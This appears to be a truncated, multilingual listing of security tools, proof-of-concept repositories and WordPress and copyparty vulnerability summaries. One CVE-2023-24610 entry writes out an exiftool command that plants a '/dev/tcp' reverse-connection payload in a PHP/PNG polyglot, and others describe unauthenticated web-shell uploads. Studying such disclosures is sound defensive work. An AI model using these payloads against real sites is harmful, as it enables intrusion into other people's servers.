ivre-wizard

IVRE . \ ,/ \ |\ / | | //\ | \ /\ | | / | '/ | / /\oo/\ | |/ / | | | | | | /\ // |/,|| ,| Par BitBurner ivre-wizard Un assistant interactif pour IVRE afin de faciliter la création de scans et leur ajout à la base de données. Pourquoi ? J’ai créé ce script pour effectuer des scans avec IVRE...

PS2EXE

Dépôt libre d'IA - l'intelligence artificielle tue la créativité et notre nature ! PS2EXE Surcharge du grand script d'Ingo Karstein avec support GUI. La sortie et l'entrée GUI sont activées avec un seul interrupteur, de véritables exécutables Windows sont générés. Compile uniquement les scripts...

CVE-2023-24610

CVE-2023-24610 Ceci est une preuve de concept pour CVE-2023-24610 Nous commençons par créer un fichier polyglotte en utilisant exiftool : exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Nous changeons le fichier en png pour qu'il passe la vérification front-end Après cela...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

CVE-2025-47646

CVE-2025-47646 PoC Exploitation d'élévation de privilèges sans authentification pour le plugin WordPress PSW Front-end Login Registration ≤ 1.12 📖 Description Ce script Python est une preuve de concept PoC pour CVE-2025-47646 , ciblant une vulnérabilité dans le plugin WordPress PSW Front-end Logi...

DbgShell

DbgShell Un frontal PowerShell pour le moteur de débogage Windows. Prêt à tabuler votre chemin vers la gloire ? Pour une introduction rapide, jetez un œil à Pour commencer. Avertissements 1. Ce projet n'est pas produit, approuvé ni surveillé par l'équipe de débogage Windows. Bien que l'équipe de...

Packer-Fuzzer

Packer Fuzzer Un outil de scan rapide et efficace pour détecter les sites construits avec des outils de bundling front-end comme Webpack Produit par Poc-Sir, KpLi0rn, Liucy, RachesseHS, Lupin-III Cliquez ici pour la version anglaise 👮🏻‍♀️ Avertissement En raison de la diffusion ou de l'utilisation...

PatrowlManager

Codacy Badge PatrOwl PatrOwl est une solution scalable, gratuite et open-source pour orchestrer les opérations de sécurité. PatrowlManager est l'application Front-end pour gérer les actifs, examiner les risques en temps réel, orchestrer les opérations scans, recherches, appels API, ..., agréger l...

CVE-2025-47646

🔐 CVE-2025-47646 – PSW Front-end Login & Registration = 1.12 📌 Информация о плагине Плагин : PSW Front-end Login & Registration Уязвимая версия : = 1.12 CVE : CVE-2025-47646 Критичность : Высокая CVSS 9.8 Тип уязвимости : Нарушение аутентификации Требуемые привилегии : Без аутентификации Исправле...

BUI-select-xss

BUI-select-xss cve-2018-8108 Lors d'un test de sécurité, j'ai découvert ce problème par hasard. BUI est un framework front-end, utilisé par de nombreuses entreprises pour construire leur propre front-end. Habituellement, pour prévenir les XSS, on applique le principe de non-confiance aux entrées...

CVE-2026-80333

The Solace Extra WordPress plugin before 1.7.2 does not perform any authorization or post-status checks on its front-end preview routes, allowing unauthenticated visitors to read the rendered content of non-published posts and pages of any type that WordPress would otherwise not serve...

CVE-2025-2005

WordPress FEUP 임의 파일 업로드 익스플로잇 CVE-2025-2005 이 저장소는 등록 양식에 MIME/파일 형식 검증이 없어 임의 파일 업로드에 취약한 WordPress Front End Users 플러그인3.2.32까지에 대한 PoCProof of Concept 익스플로잇을 제공합니다. 이를 통해 인증되지 않은 공격자가 악성 파일예: 웹 셸을 업로드하여 서버에서 원격 코드 실행RCE으로 이어질 수 있습니다. 기능 CVE-2025-2005: WordPress Front End Users 플러그인 파일 업로드 취약점...

CVE-2025-2005

CVE-2025-2005 WordPress Front End Users Plugin = 3.2.32 уязвим для произвольной загрузки файлов Эксплуатация плагина WordPress Front-End Users Информация об уязвимости Название плагина : Front-End Users Plugin Затронутая версия : = 3.2.32 Тип уязвимости : Произвольная загрузка файлов Оценка CVSS ...

CVE-2025-2005

CVE-2025-2005 — Front-End Users Arbitrary File Upload CVE-2025-2005 WordPress Front-End Users — Unauthenticated Arbitrary File Upload 0xZ3R0 // h4ckxel 0x00 — Executive Summary Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32. The...

CVE-2026-78393

The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in...

CVE-2026-78393 Link Library < 7.9.6 - Reflected XSS via 'link_tags' and 'link_price' Sort and Breadcrumb Links

The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in...

CVE-2026-78393 Link Library < 7.9.6 - Reflected XSS via 'link_tags' and 'link_price' Sort and Breadcrumb Links

The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in...

EUVD-2026-86527

The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in...

EUVD-2026-86466

copyparty contains a volume restriction bypass vulnerability in its SFTP front end that allows authenticated SFTP users to create, remove, and truncate arbitrary paths outside permitted volume boundaries by exploiting three handlers that bypass the xvol volflag enforcement. The mkdir, rmdir, and...

PT-2026-98301

Name of the Vulnerable Software and Affected Versions copyparty affected versions not specified Description The SFTP front end contains a volume restriction bypass that allows authenticated users to create, remove, and truncate arbitrary paths outside permitted volume boundaries. This occurs...